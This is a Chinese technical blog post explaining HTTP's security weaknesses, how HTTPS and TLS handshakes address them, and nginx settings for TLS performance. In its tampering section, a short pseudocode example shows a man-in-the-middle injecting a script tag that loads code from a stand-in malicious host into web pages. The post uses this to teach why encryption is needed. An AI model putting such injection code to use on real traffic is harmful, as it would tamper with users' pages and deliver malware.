一道面试题,开始性能优化之旅(3)-- DNS查询+TCP(二)

接上篇,还是这张图

我们看到最后有一个 SSL Negotiation的耗时,这个又是什么呢? 接下来我就来聚焦 SSL流程,以及 HTTPS协议的意义

HTTP协议的 安全缺陷!

一、明文传输:数据裸奔,易被监听

▍ 攻击原理

flowchart LR A[用户浏览器] -- HTTP明文请求 --> B[路由器/防火墙] B -- 复制流量 --> C[黑客设备] B --> D[目标服务器]
  • 传输内容 :账号密码、信用卡号、聊天记录等未经加密
  • 监听工具
    • 公共WiFi抓包(Wireshark)
    • ISP(运营商)流量监控
    • 防火墙中间件扫描

▍ 真实案例

用户在咖啡店用HTTP登录邮箱:
GET /login?user=admin&pass=123456 HTTP/1.1

黑客在同一网络嗅探,直接获取密码


二、数据篡改:内容可被恶意修改

▍ 攻击流程

sequenceDiagram participant U as 用户 participant H as 黑客设备 participant S as 服务器 U->>H: 请求下载软件安装包 H->>S: 转发请求 S-->>H: 返回正版软件 (大小 80MB) H->>U: 将软件替换为含病毒的版本 (大小 79.5MB)
  • 篡改方式
    1. 插入广告代码
    2. 替换下载文件
    3. 修改转账收款账户

▍ 技术实现

黑客通过 ARP欺骗DNS劫持 成为中间人: (ARP欺骗和DNS劫持是两种经典的中间人攻击(Man-in-the-Middle,MitM)技术, 它们通过劫持网络通信路径将黑客设备插入到用户与目标服务器的通信链路中。以下是它们的运作原理和技术细节:

python 复制代码
# 伪代码:中间人篡改响应
if response.content_type == "text/html":
    injected_code = "<script src='http://malware.com/tracker.js'>"
    response.body = response.body.replace("body>", injected_code + "</body>")

三、身份伪造:无法验证对方真伪

▍ 钓鱼网站攻击

flowchart TD A[用户] -->|访问 http://www.paypa1.com| B(黑客服务器) B -->|模仿PayPal登录页| A A -->|输入密码| B B -->|盗取密码| C[黑客数据库]
  • 视觉欺骗
    http://www.paypa1.com(字母l替换为数字1
  • 无证书验证:HTTP 无机制验证服务器身份真伪

▍ 企业级风险

员工访问伪造的 http://intra.corp.com(真实域名为 https://intra.corp.com),导致:

  1. 泄露商业机密
  2. 触发勒索软件

HTTPS协议为什么安全?

我们将针对HTTP协议不安全的三个原因,逐一解释 HTTPS协议如何解决这三个问题

明文传输如何解决

对称加密和非对称加密

一、对称加密:效率高但密钥分发难

1. 核心特性

graph LR A[明文] -->|密钥K| B(加密算法) B --> C[密文] C -->|密钥K| D(解密算法) D --> A
  • 密钥关系 :加密密钥 = 解密密钥(K_encrypt = K_decrypt

4. 致命缺陷:密钥分发问题

sequenceDiagram participant A as 客户端 participant B as 服务器 A->>B: 我想用AES-256加密通信! B->>A: 同意!但如何安全传递密钥? Note right of A: 若通过网络明文发送密钥
黑客截获后所有通信将被破解
  • 困境:安全传递密钥需要加密通道,但建立通道又需要密钥(死循环)

有困难,就有解法,解法就是非对称加密

二、非对称加密:解决密钥分发难题

1. 核心突破:公私钥分离

非对称加密的破局方法

sequenceDiagram Client->>Server: 请求服务器的公钥PK_s Server->>Client: 发送PK_s(即使被黑客截获也无害) Client->>Client: 生成随机会话密钥K Client->>Server: → {K}_PK_s Hacker-->>Hacker: 截获{K}_PK_s,但无法解密(缺少私钥) Server->>Server: 用私钥SK_s解密获得K Note over Client,Server: 后续用K进行对称加密通信
graph LR P[公钥 Public Key] -->|可公开分发| A S[私钥 Private Key] -->|仅自己持有| B A -->|加密数据| C[密文] C -->|私钥解密| B

关键突破

公钥公开性 :PK_s可明文传输(黑客获取后无用)

私钥独占性 :只有服务器能用SK_s解密{K}_PK_s

会话密钥安全:K从未以明文形式出现在网络中

关键结论

加解密速度对比(相同安全强度)

操作 非对称加密 (RSA-2048) 对称加密 (AES-256) 性能差距
加密/解密 1KB数据 0.5 ms 0.003 ms 166倍
吞吐量 ~10 MB/s ~1.5 GB/s 150倍
  1. 对称加密

    • 优势:速度快(AES: 1GB/s以上)
    • 死穴:密钥分发需安全通道
  2. 非对称加密

    • 突破:建立初始信任通道
    • 瓶颈:性能差且不适用大数据
  3. HTTPS的智慧

    mermaidpie 复制代码
        title HTTPS加密类型占比
        "对称加密(业务数据)" : 99.9%
        "非对称加密(密钥交换)" : 0.1%
    • 用非对称加密的0.1%开销
      换取对称加密99.9%的高效安全通信
  • 用1%的非对称开销 换取 99%的对称加密高效性

数据篡改如何解决

其实解法依然是上文提到的 非对称加密

一、签名流程详解(结合实例)

假设B要向A发送消息 "转账100元"

sequenceDiagram participant B as 服务器B participant A as 客户端A B->>B: 步骤1: 计算消息摘要 Note right of B: 原文 = "转账100元"br>摘要(B) = SHA-256(原文) → "a1b2c3..." B->>B: 步骤2: 用私钥加密摘要 Note right of B: 签名 = RSA_Encrypt("a1b2c3...", B的私钥) → "x9y8z7..." B->>A: 步骤3: 发送(原文, 签名) = ("转账100元", "x9y8z7...") A->>A: 步骤4: 计算接收消息摘要 Note left of A: 摘要(A) = SHA-256("转账100元") → "a1b2c3..." A->>A: 步骤5: 用B的公钥解密签名 Note left of A: 解密结果 = RSA_Decrypt("x9y8z7...", B的公钥) → "a1b2c3..." A->>A: 步骤6: 验证摘要(A) == "a1b2c3..." ?

二、为什么能实现安全目标?

1. 身份认证原理

  • 只有B的私钥能生成可被B公钥解密的签名
graph TD 伪造者 --"尝试用假私钥签名"--> 生成伪签名 A["验证者A"] --"用B的公钥解密伪签名"--> 得到乱码 得到乱码 --"≠ 正确摘要"--> 验证失败[验证失败]

2. 数据完整性原理

  • 若黑客篡改消息为 "转账1000元"

    python 复制代码
    # 接收方A计算摘要
    摘要(A) = SHA-256("转账1000元") = "d4e5f6..."  # 与原始摘要完全不同
    
    # 解密签名得到原始摘要
    摘要(B) = RSA_Decrypt(签名, B公钥) = "a1b2c3..." 
    
    # 验证:"d4e5f6..." ≠ "a1b2c3..." → 立即发现篡改!

三、常见误区澄清

  1. 误区 :签名是用私钥加密整个消息
    正解 :仅加密摘要(哈希值),因为:

    • 非对称加密速度慢(处理大文件极慢)
    • 摘要固定长度(如32字节)适合签名
  2. 误区 :有签名就不需要加密
    正解:签名不提供保密性!若需防窃听,必须额外加密:

    graph LR 发送 --> 签名原文 --> 加密(签名+原文) --> 传输 接收 --> 解密 --> 验签 --> 获取原文

数字签名的本质是:
用数学魔法将发送方身份与消息内容绑定

  • 🔑 私钥签名 → 生成"数字指纹+身份印章"
  • 🔍 公钥验签 → 验证"指纹未损+印章真实"

身份伪造如何解决

即使有了非对称加密,仍然需要一套机制来保证公钥传输的可靠性(不能被篡改)​,否则中间人可以自己先生成一堆密钥,在获取公钥的阶段把自己生成的公钥给客户端,然后用私钥加密信息和客户端通信,用服务器端下发的公钥和服务器端通信,由此完成对通信的监听和篡改而不被发现。

一、中间人攻击(MITM)的威胁

攻击流程

sequenceDiagram participant C as 客户端 participant H as 黑客 participant S as 服务器 C->>S: 请求公钥 H->>C: 拦截请求!伪造响应:发送黑客公钥PK_h C->>H: 用PK_h加密会话密钥K → {K}_PK_h H->>H: 用SK_h解密获得K H->>S: 用真实PK_s加密K → {K}_PK_s S->>H: 返回加密数据 H->>C: 用K解密/篡改数据后重新加密 Note over C,S: 黑客全程监听/篡改,客户端毫无察觉!

问题本质 :客户端无法验证收到的公钥是否属于真实的服务器

二、数字证书:权威机构背书

证书的核心作用

将服务器的公钥与域名绑定,并由可信第三方(CA)签名担保

如同公安局为公民颁发身份证:

  • 公钥 = 持证人的照片
  • 域名 = 身份证姓名
  • CA签名 = 公安局防伪钢印

证书内容结构

yaml 复制代码
证书内容:
  - 颁发对象: www.example.com       # 绑定的域名
  - 有效期: 2023-01-01 至 2024-01-01
  - 公钥: PK_s (服务器真实公钥)     # 核心安全要素
  - 颁发者: DigiCert Inc.           # CA机构身份
  - 数字签名: CA的私钥加密的哈希值   # 防伪关键!

三、证书如何防篡改?

验证流程(浏览器行为)-- 依然是 非对称加密

sequenceDiagram participant C as 浏览器 participant S as 服务器 S->>C: 发送证书(含PK_s和CA签名) C->>C: 步骤1: 计算证书内容哈希值 H1 C->>C: 步骤2: 用CA公钥解密签名 → 得到H2 alt H1 == H2 C-->|验证通过| S: 确认证书未被篡改 else C-->|警告!| 用户: "此网站不安全!" end

数学保障

  • 篡改证书内容 → 哈希值H1改变 → H1 ≠ H2
  • 伪造CA签名 → 无CA私钥无法生成有效签名

🔐 关键依赖

浏览器预置全球可信CA公钥列表(如VeriSign、GeoTrust等)


四、现实中的证书层级(信任链)

证书链示例

graph LR A[网站证书] -->|签名者| B[中间CA证书] B -->|签名者| C[根CA证书] C -->|预置在操作系统| D[根证书库]
  • 根CA证书:自签名,预装在全球操作系统(Windows/MacOS等)
  • 中间CA证书:由根CA授权签发,用于隔离风险(根CA离线存储)

🌰 访问B站时的证书链
www.bilibili.com ← 由 Sectigo RSA 签发 ← 由 USERTrust RSA 签发 ← 根证书 AddTrust External CA Root


结论:证书机制如何解决公钥信任

  1. 身份绑定
    → 证书将公钥与域名强关联(CA验证域名所有权)
  2. 防篡改保障
    → CA签名确保证书内容完整(哈希值+非对称加密)
  3. 信任锚点
    → 操作系统预置根证书建立初始信任

SSL/TLS握手

刚才我们说的安全保证其实都是在 SSL/TLS握手 完成的

一、SSL/TLS 握手核心目标

  1. 身份认证 → 验证服务器身份(客户端可选认证)
  2. 密钥协商 → 生成仅双方知晓的会话密钥(Session Key)
  3. 加密参数协商 → 确定后续通信的加密算法(如AES-256-GCM)

二、握手流程详解(结合B站案例)

sequenceDiagram participant C as 客户端 participant S as 服务器(www.bilibili.com) C->>S: 1. Client Hello Note left of C: - TLS版本
- 加密套件列表
- 随机数R1 S->>C: 2. Server Hello Note right of S: - 选定加密套件
- 随机数R2
- 证书链 S->>C: 3. Server Key Exchange (可选) S->>C: 4. Server Hello Done C->>S: 5. Client Key Exchange Note left of C: - 用服务器公钥加密随机数R3
(Pre-Master Secret) C->>S: 6. Change Cipher Spec Note left of C: "后续通信启用加密!" C->>S: 7. Finished (加密的握手摘要) S->>C: 8. Change Cipher Spec Note right of S: "确认启用加密!" S->>C: 9. Finished (加密的握手摘要) Note over C,S: 握手完成,开始加密传输数据!

三、关键步骤技术解析

1. 三个随机数生成会话密钥

随机数 作用 密钥生成公式
R1 客户端生成 Session Key =
R2 服务器生成 PRF(R1 + R2 + Pre-Master)
Pre-Master (R3) 客户端加密后发送 (PRF=伪随机函数)

🔐 安全本质

即使黑客截获R1、R2(明文传输),但无法解密R3(非对称加密保护)→ 无法推导会话密钥

2. Change Cipher Spec 的意义

  • 密码切换信号:通知对方"之后所有数据将用协商的密钥加密"
  • 双向确认:客户端和服务器各自发送一次,确保加密同步启用
  • 抓包证据 :Wireshark中标记为 Handshake Type: Change Cipher Spec

3. Finished 消息的作用

  • 包含 所有握手消息的HMAC摘要
  • 双方验证:解密对方Finished消息 → 比对握手完整性 → 确认无中间人篡改

四、为什么需要2个RTT?深度抓包分析

以访问 www.bilibili.com 的抓包为例:

bash 复制代码
# 时序分析(单位:ms)
0.0  TCP三次握手完成         # RTT1开始
25.3 Client Hello → 
75.6 Server Hello ←         # RTT1结束 (延迟50ms)
75.6 Certificate ← 
75.6 Server Key Exchange ← 
75.6 Server Hello Done ← 
125.9 Client Key Exchange → # RTT2开始
125.9 Change Cipher Spec → 
125.9 Finished → 
175.2 Change Cipher Spec ←  # RTT2结束 (延迟49ms)
175.2 Finished ← 
175.2 开始传输加密数据       # 握手总耗时=175.2ms

关键结论

  • 必须等待服务器 Change Cipher Spec 才能发应用数据,因为:
    • 需要确认服务器已准备好解密数据
    • 避免半加密状态下的数据泄露

HTTPS性能的核心痛点

一、确保证书链完整:避免隐藏的RTT炸弹

问题场景

当服务器未返回完整证书链时:

sequenceDiagram participant B as 浏览器 participant S as 服务器 S->>B: 仅发送网站证书(缺少中间CA证书) B->>B: 发现证书链断裂 B->>CA: 发起OCSP请求获取中间证书 CA-->>B: 返回中间证书(新增1-RTT延迟!) B->>S: 继续握手

后果

  • 用户首次访问增加 300~1000ms延迟(尤其跨国网络)
  • 移动端弱网环境下可能直接导致超时

解决方案

  1. 服务端配置

    nginx 复制代码
    # Nginx 配置示例
    ssl_certificate /path/fullchain.pem;  # 必须包含站点证书+中间证书
    ssl_certificate_key /path/privkey.pem;
  2. 验证工具

    • openssl s_client -connect example.com:443 -showcerts
    • WebPageTest 的 "First View" 模式(模拟无缓存访问)

二、启用TLS 1.3:砍掉1个RTT的革命性升级

TLS 1.2 vs 1.3 握手对比

步骤 TLS 1.2 (2-RTT) TLS 1.3 (1-RTT)
客户端首包 仅协议参数 协议参数+密钥材料(Key Share)
服务器响应 证书+ServerKeyExchange 证书+Finished+应用数据
客户端最后确认 需Change Cipher Spec 直接发送加密数据
总RTT 2 1

抓包证据(Wireshark)

  • TLS 1.3握手后紧跟 Application Data,无二次确认
  • 节省时间 = 单向网络延迟(通常50~200ms)

部署建议

nginx 复制代码
# 优先启用TLS 1.3
ssl_protocols TLSv1.3 TLSv1.2;
ssl_prefer_server_ciphers on;

三、慎用EV证书:消失的小绿锁与性能代价

为什么EV证书被淘汰?

  • 视觉提示失效:Chrome/Firefox已取消地址栏绿锁标识

  • 性能缺陷 :强制触发OCSP在线验证(新增1-RTT)

    graph LR A[浏览器] -->|访问EV站点| B[请求OCSP响应] B -->|实时查询| C[CA服务器] C -->|返回签名| A
  • 性价比低:价格昂贵($200+/年),安全增益有限

替代方案

✅ 标准OV证书 + OCSP Stapling(见下文)


四、开启OCSP Stapling:消灭证书验证延迟

传统OCSP的问题

  • 浏览器需实时连接CA服务器 → 隐私泄露风险 + 延迟波动

OCSP Stapling原理

sequenceDiagram participant B as 浏览器 participant S as 服务器 participant CA S->>CA: 定期获取OCSP响应签名 Note over S: 缓存签名(通常1-7天) B->>S: 发起HTTPS请求 S->>B: 返回证书 + 附带的OCSP签名 B->>B: 本地验证签名有效性

优势

  • 零额外RTT:验证数据随证书一并下发
  • 隐私保护:浏览器无需联系CA

配置方法(Nginx)

nginx 复制代码
ssl_stapling on;
ssl_stapling_verify on;
ssl_trusted_certificate /path/chain_with_root.pem; # 包含根证书的链
resolver 8.8.8.8 valid=300s;

五、安全与性能的永恒博弈

核心取舍原则

安全增强措施 性能代价 适用场景
完整证书链 0 RTT (配置正确时) 必须做到
TLS 1.3 -1 RTT (提升性能) 现代服务器必启用
EV证书+OCSP +1 RTT 不推荐
OCSP Stapling 0 RTT 强烈推荐
HSTS预加载 0 RTT (首次除外) 高安全站点建议
最终效果

当用户首次访问时,浏览器无需任何额外网络请求 即可完成安全握手,

在1-RTT内开始传输加密数据------这是HTTPS性能优化的终极目标!

总结

本篇文章知识点较多,慢慢消化,下篇见!

相关推荐
VincentFHR2 小时前
Canvas 高性能K线图,支持无限左右滑动
前端·数据可视化·canvas
面向星辰2 小时前
css选择器(继承补充)
前端·css
koooo~2 小时前
Vue3中的依赖注入
前端·javascript·vue.js
huuyii2 小时前
Nest 基础知识
前端
沢田纲吉2 小时前
《LLVM IR 学习手记(三):赋值表达式与错误处理的实现与解析》
前端·编程语言·llvm
sophie旭2 小时前
一道面试题,开始性能优化之旅(3)-- DNS查询+TCP(一)
前端·面试·性能优化
绝无仅有3 小时前
面试复盘:哔哩哔哩、蔚来、字节跳动、小红书面试与总结
后端·面试·github
绝无仅有3 小时前
面试经历分享:从特斯拉到联影医疗的历程
后端·面试·github
IT_陈寒3 小时前
JavaScript性能优化:这7个V8引擎技巧让我的应用速度提升了50%
前端·人工智能·后端